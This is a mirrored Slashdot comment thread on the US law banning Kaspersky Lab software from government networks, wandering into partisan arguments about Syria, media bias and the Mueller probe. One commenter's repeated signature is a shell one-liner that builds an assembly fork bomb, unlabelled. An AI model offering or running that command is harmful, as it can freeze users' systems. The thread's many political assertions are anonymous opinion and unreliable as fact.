Slashdot Mirror
Trump Signs Into Law US Government Ban on Kaspersky Lab Software (reuters.com)
President Donald Trump signed into law on Tuesday legislation that bans the use of Kaspersky Lab within the U.S. government, capping a months-long effort to purge the Moscow-based antivirus firm from federal agencies amid concerns it was vulnerable to Kremlin influence. From a report: The ban, included as part of a broader defense policy spending bill that Trump signed, reinforces a directive issued by the Trump administration in September that civilian agencies remove Kaspersky Lab software within 90 days. The law applies to both civilian and military networks. "The case against Kaspersky is well-documented and deeply concerning. This law is long overdue," said Democratic Senator Jeanne Shaheen, who led calls in Congress to scrub the software from government computers. She added that the company's software represented a "grave risk" to U.S. national security.
You'll find out on Thursday.
Or Saturday if you wait for the distracting tweets.
-- Tigger warning: This post may contain tiggers! --
... rebrand to "All-American US Antiviral" and use some sort of Eagle + Stars & Stripes thingie as their logo/CI.
I have not a single doubt they'd be back into business in no time.
We suffer more in our imagination than in reality. - Seneca
So, Trump signed a law banning Kaspersky software in the US?
How about making a few changes to look like less of an asshat.: "Trump Signs Law Banning US Government Purchases of Kaspersky Lab Software."
I just assume ALL news I hear is fake until I can verify it myself and/or a couple of days have passed without it being withdrawn or changed..
I also distrust ANY story that happens during a political campaign where the timing is suspiciously of benefit to one candidate over the other and involves some recently "discovered" evidence/witness of something that is alleged to have happened years ago, but only now was discovered.
Come to think of it.. I don't really believe much of what passes as "news" for most sheeple..
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
It's payback for Kaspersky uncovering Stuxnet.
I actually think there is good reason for this. Trump isn't saying YOU cannot use these products, he's just saying the federal government is not allowed to use it. Just like they don't use network hardware developed by the Chinese for good reasons.
In this case it makes sense to not willingly install something that could be easily be used by a global geopolitical adversary to compromise your government infrastructure. Sure, it's not currently compromised, but given the location of where the development takes place, compromise could happen with little notice and rapidly be propagated though the government's IT infrastructure.
It's a risk avoidance issue and on this Trump is debatably correct.
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
The world was told about Stuxnet, Flame, Equation Group https://en.wikipedia.org/wiki/...
https://en.wikipedia.org/wiki/...
Instead of encouraging more research and security work, the US puts a ban on a company that helps keep the internet safe.
Back to the days of Magic Lantern (software) https://en.wikipedia.org/wiki/... and thoughts of US AV antivirus vendor cooperation.
Domestic spying is now "Benign Information Gathering"
Public decision upon lies and propaganda. Nothing changed much since the story of Irak's weapons of mass destruction. Except of course that this order will not cause a country to be invaded.
did... did the United States *really* just pass a law prohibiting American Citizens from being at liberty to choose precisely which software they wish to purchase and run? that appears to me to be an extremely dangerous precedent, and an extremely fascist thing to do, like the Nazis did in the 1930s: burning "unapproved" books. it would not surprise me if this same thought occurs to Civil Rights supporters and a case is taken up, fairly soon.
Federal agencies was mentioned several times. It merely affects the civilian branches of the US government, not civilians in the private sector. Still, I doubt there is much of a market left. Too much bad PR.
You may think you're funny, but in all honesty Bobbied speaks the truth of the reality of our government.
Nobody is buying the media horse-shit anymore. It's all about chasing the dollar and pitching for the people they want in office is not only a protected American right, it can be very profitable if the right people get elected. Trump has proven that with his campaign spending. Both sides do it too.
So no, I don't really believe what's in the news anymore either. So much of it is the little boy that cried wolf, chicken little, or false flag action with just *enough* truth to sound plausible.
~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
...and that would be embarrassing to find inside the US on government computers, right?
>Sure, it's not currently compromised
Are you certain of that? I didn't follow the details, but has anyone actually done a thorough, independent source-code audit? (after confirming the source does in fact compile to the distributed binaries of course). That's gotta be thousands of man-hours to do a halfway decent job, and would still almost certainly miss skillfully obfuscated malware or vulnerabilities.
--- Most topics have many sides worth arguing, allow me to take one opposite you.
No. they *really* didn't.
Just like you *really* didn't bother to even RTFA before posting a clueless rant.
You better hope the Daily Stormer starts running tornado warnings or you're gonna be fucked.
I read Stormfront.org for the weather coverage.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yup. He Tomahawked an airbase in Syria after a chemical attack, something Obama didn't do.
https://en.wikipedia.org/wiki/...
And he shot down a Syrian jet.
https://edition.cnn.com/2017/0...
Both of those are significant because Russian personnel were at the airbase. Russian pilots also fly Syrian aircraft.
If you look at the CNN coverage of the jet shootdown they were warning rather excitedly of the risk of a US/Russia war over that, which of course never happened. And at the same time they're obsessed with the idea that Trump is or was colluding with the Russians, with collusion being an ill defined term. See for example the Wikileaks collusion story. Which had one major flaw - the email with the Wikileaks codes came from a supporter after Wikileaks had gone public. CNN ran with the story because they were too lazy to check the dates.
https://www.theguardian.com/us...
Then again they were accusing him of being a Neo Nazi at the same time as saying moving the US Embassy to Israel - something Bush and Obama said they'd do when campaigning but didn't do in office - would provoke violence from the Palestinians. I.e. Trump was being too pro Israel.
I.e. CNN don't make no sense. Either Trump is a Putin stooge, or he's trying to provoke a war with Russia. Either he's a Neo Nazi or he's too pro Israel.
Funny thing is Trump's media management isn't all that good. He hasn't got much done legislatively. It should be easy to attack him. CNN lack the attention to detail to attack him without making themselves look like idiots to the point where now if they did find some sort of smoking gun who'd even pay attention? They've cried wolf too many times to be credible.
People often point out that Fox viewers are old, but CNN's aren't that much younger. 68 vs 60
http://www.dailymail.co.uk/new...
Given people tend to become more conservative as they get older, it's not that surprising Fox has a higher average age.
Neither Fox nor CNN have any programs I'd personally watch. Both of them are straight up propaganda for the RNC and DNC respectively.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Exactly. Trump is anti-Russia which is terrible for the American people. This latest anti-Russian action of attacking Kaspersky proves that.
Good lord your reading comprehension needs help. And somehow you equate a software ban on government owned computers to book burning.
Are you going to foam at the mouth if they decide to remove Solitaire as well?
That's another addition to the National Defense Authorization Act for Fiscal Year 2018 like the drone registration requirement.
https://www.congress.gov/bill/...
SEC. 1630B. PROHIBITION ON USE OF SOFTWARE PLATFORMS DEVELOPED BY KASPERSKY LAB.
(a) Prohibition.-No department, agency, organization, or other element of the Department of Defense may use, whether directly or through work with or on behalf of another organization or element of the Department or another department or agency of the United States Government, any software platform developed, in whole or in part, by Kaspersky Lab or any entity of which Kaspersky Lab has a majority ownership.
(b) Severance Of Network Connections.-The Secretary of Defense shall ensure that any network connection between a department, agency, organization, or other element of the Department of Defense and a department or agency of the United States Government that is using or hosting on its networks a software platform described in subsection (a) is immediately severed.
(c) Effective Date.-This section shall take effect on October 1, 2018.
That's more a RNC/McCain thing than a Trump one. It's not like Trump could veto the NDAA.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If it was "as obvious as some though," we wouldn't need a special prosecutor to investigate in the first place. Robert Mueller has to be very careful at this point to cross all the t's and dot all the i's, and even more careful to stay politically impartial because even the slightest deviation (either way) could be the excuse Trump needs to oust him and kill the investigation completely.
Why didn't you have sex with the overage women if you went for sex?
I think they would much prefer the "of age" than the overage.
>"I actually think there is good reason for this. Trump isn't saying YOU cannot use these products,"
Being somewhat nit-picky, because of the last few Slashdot stories about recent laws. Trump isn't actually "saying" anything. He is signing a bill that was passed by the House and the Senate into law. So there are hundreds of representatives saying something.
Trump had no choice when making this decision. Had he not signed the bill he would have been accused of being a Russian lackey. In this particular case the government should have never certified the software for government use in the first place.
If you read the EULA for any anti-virus product it will explain to you in the plainest of terms that use of said product allows uploading of software deemed as potential virus/malware for analysis. In the case of Kaspersky AV I have yet to see any evidence of any behavior beyond what the terms of your typical AV software EULA spells out. If some dipshit fed didn't bother to read this EULA before testing spookware on a box with Kaspersky AV installed it seems pretty obvious where the blame should be placed. Taking punitive actions against an AV company for doing what AV companies do says more about the stupidity of the average fed than it does about the malevolence of anyone at Kaspersky, IMHO.
Won't this allow Kaspersky to sue US because a law is bad for their cash ?
There are something like that in many treaties, between Europe and Canada for example.
Governments make laws. Corporations feel armed and sue. People pay taxes to pay corporations.
(sorry, I miss the correct English vocabulary to describe properly)
Totof
So does BestBuy get a govt kick back for being loyal to ol' Cheetos head by marking down their copies of Kaspersky to around $5-$10? Then claim in a patriotic PR post that they enthusiastically yankrd them off the shelf
If you don't let our spooks install backdoors into your software, no government contracts for you.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Pretty much this.
Who can kick down your door for searching "questionable material" on the net? The FBI or the FSB?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Isn't that called Sharia?
The FSB would only do that if the user lives in Russia - after all they are a domestic intelligence agency/federal and border police service. Actual espionage is carried out by the SVR.
"It's such a fine line between stupid and clever" -- David St. Hubbins, Spinal Tap
LOL. From your first link:
Internationally, the United States also notified several countries, including Canada, the UK, Australia, and Russia, in advance of the strike.[13][14][15][16] The U.S. military stated it communicated with the Russian military to minimize any chance of Russian casualties."
Hours after the U.S. missile strike, Syrian government's warplanes took off from the Shayrat base to attack rebel positions again, including the town of Khan Shaykhun.[11] Commentators attributed the ability of the Syrian government to continue to operate from the base to the fact that the US gave Russia, Syria's ally, an advanced warning regarding the strike, which enabled Syrians to shelter many of its aircraft from the attack
LOL. You fucking halfwit.
And you think the SVR cares what you in the US do on your computer?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
This is one of the best advertisements for Kapersky anti-virus yet.
No, a company in russian jurisdiction makes and sells that software.
Being located within russia means they are beholden to the demands of the russian government. If the russian government demands backdoor access to their software then the company has no choice but to comply unless the company owners want to go to a russian jail.
The US government is rightfully wary of any software or hardware coming from a non trusted source, and should not use it without thorough auditing first. Although this should apply to a *LOT* more than just kaspersky, all manner of hardware and software comes from China, and most commercial software companies even inside the US employ staff who have not been vetted by the US government too.
Of course it also goes the other way, no foreign government should accept anything from the US without being able to thoroughly audit it first either. Various US agencies have been talking about encryption backdoors for a while, and there have been a number of high profile leaks lately.
The US actually exports a lot more software than Russia does, so this will hurt them far more than it will hurt Russia.
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
I am in Germany. And I speak Russian fluently and work in the oil industry, so maybe they do care, who knows. But I don't use Kaspersky because their software kind of sucks, not because I am afraid of spies.
"It's such a fine line between stupid and clever" -- David St. Hubbins, Spinal Tap
Not only that, Eugene Kaspersky is Putin's sauna buddy. Russian influence or not, Krapspersky is an awful piece of software, a massive data collector, and a huge system performance killer. There is a reason why it is so popular with agencies and businesses: it is dirt cheap.
"Never believe anything until it's been officially denied" (~attributed to Otto Von Bismark)
Band Microsoft products
In your position I wouldn't use Kaspersky Software either... ;)
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Heh heh heh. Good one.
Rail against my pointing out that we don't actually know whether Kaspersky is already compromised or only vulnerable to it, while accusing the US government of the same abuses against those in their sphere of influence, and then finish with declaring invalid everything except whitelists - the epitome of "guilty until proven innocent" philosophy.
And hey - who gets to do the whitelisting? Are you certain they're competent, thorough, and incorruptible?
--- Most topics have many sides worth arguing, allow me to take one opposite you.
Internationally, the United States also notified several countries, including Canada, the UK, Australia, and Russia, in advance of the strike. The U.S. military stated it communicated with the Russian military to minimize any chance of Russian casualties."
There were Russian advisers at that base. Would you prefer he'd not warned Russia and killed a few of them? It was entirely prudent to warn Russia. That way they could get their personnel out, but they didn't have time to remove all the materiel the strike was aimed at.
Hours after the U.S. missile strike, Syrian government's warplanes took off from the Shayrat base to attack rebel positions again, including the town of Khan Shaykhun.[11] Commentators attributed the ability of the Syrian government to continue to operate from the base to the fact that the US gave Russia, Syria's ally, an advanced warning regarding the strike, which enabled Syrians to shelter many of its aircraft from the attack
LOL. You fucking halfwit.
https://en.wikipedia.org/wiki/...
U.S. Central Command stated in a press release that Tomahawk missiles hit "aircraft, hardened aircraft shelters, petroleum and logistical storage, ammunition supply bunkers, defense systems, and radars". Initial U.S. reports claimed "approximately 20 planes" were destroyed, and that 58 out of the 59 cruise missiles launched "severely degraded or destroyed" their intended target. According to the satellite images the runways[31] and the taxiways have been reportedly undamaged and combat flights from the attacked airbase resumed on 7 April a few hours after the attack, although U.S. officials did not state that the runway was a target. In a later statement on 10 April 2017, the US Secretary of Defense James Mattis claimed that the strike destroyed about 20% of the Syrian government's operational aircraft and the base had lost the ability to refuel or rearm aircraft.
An independent bomb damage assessment conducted by ImageSat International counted hits on 44 targets, with some targets being hit by more than one missile; these figures were determined using satellite images of the airbase 10 hours after the strike.
The Syrian Observatory for Human Rights said the strike damaged over a dozen hangars, a fuel depot, and an air defense base.
Al-Masdar News reported that 15 fighter jets were damaged or destroyed and that the destruction of fuel tankers caused several explosions and a large fire.
According to the claims of Russian defense ministry, the "combat effectiveness" of the attack was "extremely low"; only 23 missiles hit the base destroying six aircraft, and it did not know where the other 36 landed. Russian television news, citing a Syrian source at the airfield, said that nine planes were destroyed by the strikes (5 Su-22M3s, 1 Su-22M4, and 3 Mig-23ML) and that all planes were thought to have been out of action at the time.
So the US claims it was effective with 20 planes destroyed as do ImageSat, the Syrian Observatory for Human RIghts and Al-Masdar. The Russian defence ministry claimed the combat effectiveness was 'extremely low', but Russian TV claims 9 planes were destroyed.
So even though you Democrats normally claim anything from Russia is 'fake news', in this case you've decided to assume they're completely trustworthy and everyone else is lying.
Actually if all the Russians are claiming is that one aircraft landed and took off again, they might not be lying because the US didn't target the runways. But the implication the airbase is fine is deliberately misleading. If 58 Tomahawks hit an airbase it's very far from fine.
You can see the damage here
https://www.imagesatintl.com/u...
The US attacked all the aircraft shelters, workshops, fuel and ammo storage, some targets with more
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Politically impartial? Muller? Now that's a laughable contention. This whole investigation is politically motivated, from day one.
Please sir, tell me another!
I realize that a lot of the critique of Muller and his staff is politically motivated, but this whole mess was an invented story, invented it seems by the DNC and Hillary's campaign -- In league with Russian informants none the less. I'll believe that Muller is impartial if, when this is all over, it's clear that he investigated all that with the same vigor as he investigated the RNC and the Trump Campaign.
So far though, Muller doesn't seem to be impartial to me.. He seems very partisan, just like his friend Comey was partisan...
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
Wow, that's news to me... When can I expect my rubles comrade? Yes, Western Union is fine... Heck, BitCoin will work if you think that's less risky for you...
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
Sure, but maybe he thinks it is a good idea and doesn't care about any of this Russian Collusion nonsense...
Of course, if you simply MUST ascribe malice and stupidity to this action because it's Trump doing it, enjoy your partisan dreams as long as you can.
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
That's because the news is no longer about reporting the days events. It's about chasing ratings and making money. Journalistic integrity went by the wayside years ago once publishers realized they can draw attention to whatever dress was worn on the red carpet (and the resulting advertising money).
You read me correctly. I have worked in a major radio network, and they said as much in the conference meetings when discussing the dismissal of radio hosts that didn't tow the line.
~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
This whole investigation is politically motivated, from day one.
Yes, and that's why Mueller has to be as impartial as he can. If he shows even a slight lean towards the left, Trump will oust him as fast as he can rampage off the pink tweet.
And if he shows a slight rightward lean, Trump's cronies will immediately start flying off with "nothing to see here, Mueller's done all this work and he's decided we're right!" even if he's decided no such thing, and they'll plaster that all over the news so that by the time Mueller does complete his investigation -- regardless of the result -- nobody will care or believe him anymore. In fact they've already started to pull this tactic based purely on the fact that a massive investigation of the US President and most of his staff hasn't managed to result in an impeachment within a 6 month time frame (ignoring the fact that "normal" white collar investigations can easily take 2 or 3 years or longer if the suspect is even remotely good at covering their tracks. Reality isn't a primary concern of the current administration. "Alternative" facts can just be twisted to any degree they feel advances their narrative and apparently Trump supporters see no problem with that.)
The motivation for starting the investigation (under Comey) was definitely politically motivated. But continuing the investigation cannot be. I mean the republicans own all branches of government -- if they wanted, congress could shut it down without harming Trump in the slightest. The only one who can't unilaterally shut it down is Trump himself because that would look, even to a lot of republicans, like a flat out admission of guilt and cover-up. The fact that the republican congress is allowing the investigation to continue suggests that even if there's still political threads, its at least not overly partisan.
I am not a big fan of Trump but I was not commenting on any malice directed at Trump. I think the Russian collusion accusations are complete non-sense. All of the investigations are spearheaded by those who lost the election and their supporters. They refuse to acknowledge that Trump won not because of Russian influence but because of their own incompetence married to a political platform that alienated more people than it attracted.
Well... Nice analysis there, not sure I can argue too much with it.
Problem here is that the reason for this investigation has 100% democrat support with only a handful of republicans. Trump really tweaked off some of the more entrenched republicans, blasting their presumptive heir to the throne to pieces before Jeb could get his campaign out of first gear. Then he handed the rest their heads, with only Cruz having a credible chance about half way though the primaries. He ticked a bunch of folks off. Trump takes no prisoners and isn't afraid to mix it up in the mud pit, in fact seems to quite enjoy keeping a bucket of mud at the ready. Cross him by saying something bad and you get a face full before you can get your mouth shut.
The investigation, in fact the whole idea of Russian Collusion, is a democrat invention to explain Hillary's loss. It's partisan, with just enough republicans willing to let the democrats stay in the line of Trump's fire, so they don't have to take the muddy attack. So they let the "impeach 45" chants go on, enjoy the show, knowing full well that if push came to shove they'd vote to keep Trump, the presumptive hot head interloper who kept Jeb out of the Whitehouse.
Now Mueller's investigation is absolutely partisan. Mueller and *every* member of his team are obviously from a single political perspective, so, on the surface at least, it sure looks partisan. Recently we find out that he actually fired one of the investigators for texting some seriously partisan stuff to a girl friend. One can argue that personal political views doesn't imply bias in the investigative work being done, but I don't think the public would see it that way. At the very least Mueller opened himself up to criticism for hiring biased investigators, which was an unforced error on his part. Surely he KNEW anything he did was going to be strictly scrutinized, yet he hired who he did? You know the argument will be the whole investigation is biased.
One more thing, you don't seem to be aware of. It's being reported that the interviews at the Whitehouse by Mueller's team are done. If this is true, Mueller is nearly done with his work. You interview the targets of your investigation last, after you know what happened from other sources. If this rumor is true, then a couple of weeks to take evidence to a grand jury if you think a crime is there and this is over....
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
On the one hand the US government is banning Kaspersky software because they claim it's a "grave security risk" that contains back doors.
On the other hand the US government is publicly criticising and shaming technology vendors like Apple and Google for refusing to add back doors to their products.
No you describe "Faith" not belief.. Fine point I know but the difference is relevant to this..
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
>> Neither Fox nor CNN have any programs I'd personally watch. Both of them are straight up propaganda for the RNC and DNC respectively.
I feel the same way about MSNBC and WaPo. Talk about obvious left-wing agendas. Rachel Maddow is an especially bad joke. No actual news reporting at all, just radical blowhard opinions and braindead editorial commentary. She might as well be on The View.
The entire US media has become a joke and has totally lost all credibility. I wish the government would step in and do something to literally force the media to maintain professional standards of sticking to truly unbiased and fact-based news reporting, instead of regurgitating fabricated bullshit and opinion pieces. Clearly leaving it to self-regulation is no longer even close to a viable option.
this investigation has 100% democrat support
Obviously. Not especially relevant though.
only a handful of republicans
Define "handful." The senate might be pretty close but the house is very republican-tilted. Either side could potentially start the process of canning the investigation.
in fact seems to quite enjoy keeping a bucket of mud at the ready
Question is whether he was just better at slinging the mud, or if he was swinging the bucket around illegally as well.
the whole idea of Russian Collusion, is a democrat invention to explain Hillary's loss
Actually it was a Trump invention to explain why he was polling so badly prior to the election. And then he ended up winning anyway and shit got all mixed up. A similar thing happened with the so-called dossier -- started off by republicans to discredit Trump in the primaries and the dems just took it over afterward when it was their turn to go up against the Trump hype train, rather than being a democratic invention in the first place.
Mueller and *every* member of his team are obviously from a single political perspective
What exactly is "obvious" about it? Everyone of course has their own opinion and Mueller isn't magically any less opinionated than anyone else, but he still has to do his best to ensure his work is not swayed by his opinion (or the opinion of anyone else on his team.) Do you even know who is on the team? Never mind each member's political viewpoint? Or are you just assuming they're all democrats purely because they haven't walked away from the job before its finished while chanting #MAGAMAGAMAGA on their way out the door?
we find out that he actually fired one of the investigators for texting some seriously partisan stuff to a girl friend
Exactly.
but I don't think the public would see it that way
Which is why he has to be so extremely careful to not indicate even the slightest imbalance. The public is just grinding their teeth looking for an excuse to take anything related to the investigation out of context, one way or the other.
At the very least Mueller opened himself up to criticism for hiring biased investigators
He actually spent a couple weeks at the beginning complaining that he was having trouble hiring people specifically because the partisan (and specifically for/against Trump) bias in the country is so massive right now. Again I don't know who he finally settled on or what their viewpoints are, but presumably Mueller found people who are at least able to perform their job with a reasonable facsimile of impartiality, or this whole thing would have been killed months ago.
yet he hired who he did?
Again, do you know who he hired? Sure maybe one guy got fired for sending partisan texts but do you know the history of that? Maybe he was really good at convincing Mueller he was impartial. Or maybe he really was impartial and something changed between his hiring and his firing. Unless you know the details of the person and their situation, you can't use a single example of a problem -- that was handled appropriately -- to extrapolate a problem with everything. I mean by that logic we may as well say that Trump is automatically a pedophile purely because he supported Roy Moore. That kind of "logic" sounds a whole lot more convincing when it fits your desired narrative than when it doesn't.
the interviews at the Whitehouse by Mueller's team are done
No I hadn't heard that yet. I also consider it kind of irrelevant. I'll believe the investigation is done when the final report is presented.
If this rumor is true, then a couple of weeks to take evidence to a grand jury if you think a crime is there and this is over.
You spin the facts your way pretty well there sir.
Where I don't agree with your conclusions in most cases, you do seem to have a coherent argument for most of this.
Only a couple of "facts" that I'd debate with you, which are key to your conclusion...
1. The Dossier thing wasn't a republican thing, really it wasn't. Sure the idea came up over here, but the development of it was totally HRC and the DNC funded. It also doesn't excuse the use of a fictitious and slanderous document's use. Republicans didn't do this. HRC et all did.
2. I recall Trump being castigated for claiming he'd not commit to accepting the election results. Why do we now allow HRC to do this?
3. You claimed Muller was going to be careful to appear unbiased because he knew he'd be under the microscope. I'm saying that he wasn't very careful about this when he picked his staff. Surely you don't believe that ALL qualified FBI agents only give to democratic candidates? Note that I'm not claiming Muller's team was/is biased in their actions, only that Mueller was not very careful with his choices for his team and opened himself up to charges of bias by picking a team that was arguably all from one political persuasion. Face it, Mueller isn't all that concerned about this or he would have realized this was an issue.
4. White house interviews are over, as reported by: LA Times (http://www.latimes.com/politics/washington/la-na-pol-essential-washington-updates-white-house-interviews-finished-in-1513110618-htmlstory.html) and Politico: (https://www.politico.com/story/2017/12/12/mueller-interviews-white-house-293753)
Yes this is a lawyer saying this on behalf of the Whitehouse and may or may not be true. However, if it IS true, it does suggest the end of Mueller's work is nearly here.
5. The election wasn't affected in any meaningful way by the Russians and nobody has any evidence that suggests they did. Sure, they would have tried if they could, but there wasn't any real way for them to do this. Do you know of anything they did or is this all just theory? And I'd like to point out that if there was anything that benefits the Russians here it is all the fear and uncertainty about the fairness of the election being sewn into the "useful idiots" minds out there. All this accrues to the benefit of the Russians. So I ask you, WHO is obsessing over this whole question?
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101
1. Yeah, the dossier got blown way out of proportion (in no small part thanks to Trump's inability to let things go.. it probably would have been forgotten about early on if he and his supporters didn't keep bringing it up.) My only point though was that while the dems may have ran with it, they weren't the ones who initiated it.
2. I don't recall HRC claiming that Trump didn't win. She might not like it, and she might question why the electoral college is allowed to override the popular vote, but Trump got castigated because he was planning to not even concede the election should he lose. That's a whole different level.
3. Being careful and being perfect are not the same thing. Muller is not magic and he can only work with the information he has at the time, and then adjust when new information comes to light. By all accounts, that's exactly what he did. Blaming him for not knowing something that was (at the time) unknowable is not really a great argument.
4. I'm not saying those articles are wrong. I'm just saying that the investigation may involve more than just interviews at the White House. There may be interviews to be done outside the White House. There may be evidence to collect and analyze that isn't in the form of interviews, and at the very least there's a report to write in order to present the findings.
5. We wouldn't spend time and money investigating Russian ties if we already know with certainty whether such ties exist or not. There would be nothing to investigate.
Of course even if Muller proves ties between the Trump campaign (or Trump himself) and Russia, that doesn't directly imply Russian meddling affected the election outcome. And it doesn't much matter at this point anyway.. Trump is indisputably president for now, no matter how he got there. Even if he's impeached tomorrow for whatever reason, this past year doesn't get a do-over.
1. Yeah, the dossier got blown way out of proportion (in no small part thanks to Trump's inability to let things go.. it probably would have been forgotten about early on if he and his supporters didn't keep bringing it up.) My only point though was that while the dems may have ran with it, they weren't the ones who initiated it.
But... The problem here is how the dossier was used -- BY THE FBI This is a serious problem given the previous administration was from the "other" party and this dossier was seemingly used to justify a whole bunch of investigative activities. IF it can be established that the DNC or HRC's campaign shared this with the FBI on purpose, then anything the FBI investigated based on this document is tainted as a partisan political effort. IF this theory is true, it's going to make Watergate look like a failed fraternity prank.
2. I don't recall HRC claiming that Trump didn't win. She might not like it, and she might question why the electoral college is allowed to override the popular vote, but Trump got castigated because he was planning to not even concede the election should he lose. That's a whole different level.
Really? OK, OK, not exactly but she did say the following, recently: http://www.independent.co.uk/n...
Sure sounds like she was protesting the results to me. She's certainly implying that the Russians had something to do with this too. Are you getting the picture yet? This Russian thing was from HRC's campaign and the DNC.... It's important to realize this fact. Now add the dossier which they paid for.. Connecting the dots is easy from that point.
3. Being careful and being perfect are not the same thing. Muller is not magic and he can only work with the information he has at the time, and then adjust when new information comes to light. By all accounts, that's exactly what he did. Blaming him for not knowing something that was (at the time) unknowable is not really a great argument.
You said that Mueller was being careful about appearances. I'm saying that I don't think he was. I don't think he really cares what it looks like and where he could have at least attempted to avoid the appearance of bias in his team by including a token republican or two, he didn't. In fact, he had some uber-biased team members who arguably where not objective, who where involved in the Clinton E-mail investigation and letting her skate but now where busting down doors at dawn to serve search warrants in their investigation of Trump. Something smells in all this, but Mueller doesn't care about how it appears.
4. I'm not saying those articles are wrong. I'm just saying that the investigation may involve more than just interviews at the White House. There may be interviews to be done outside the White House. There may be evidence to collect and analyze that isn't in the form of interviews, and at the very least there's a report to write in order to present the findings.
The articles are true. They are quoting a lawyer. The question is if the lawyer is able to speak to the truth and if it's true what does it mean?
All I'm saying is this... IF this is true, that the interviews at the White House are done, then Mueller is likely done with the investigative part of his work. The process here is that you investigate and establish the facts as best you can before you interview the targets of your investigation. You don't start asking the target questions unless you have exhausted all other avenues of establishing the facts because it tips your hand and gives your target information about the investigation and what you know or don't know when you start asking questions.
So, indications are that IF this lawyer's statement is factual, it seems likely
"File to fit, pound to insert, paint to match" - Aircraft Maintenance 101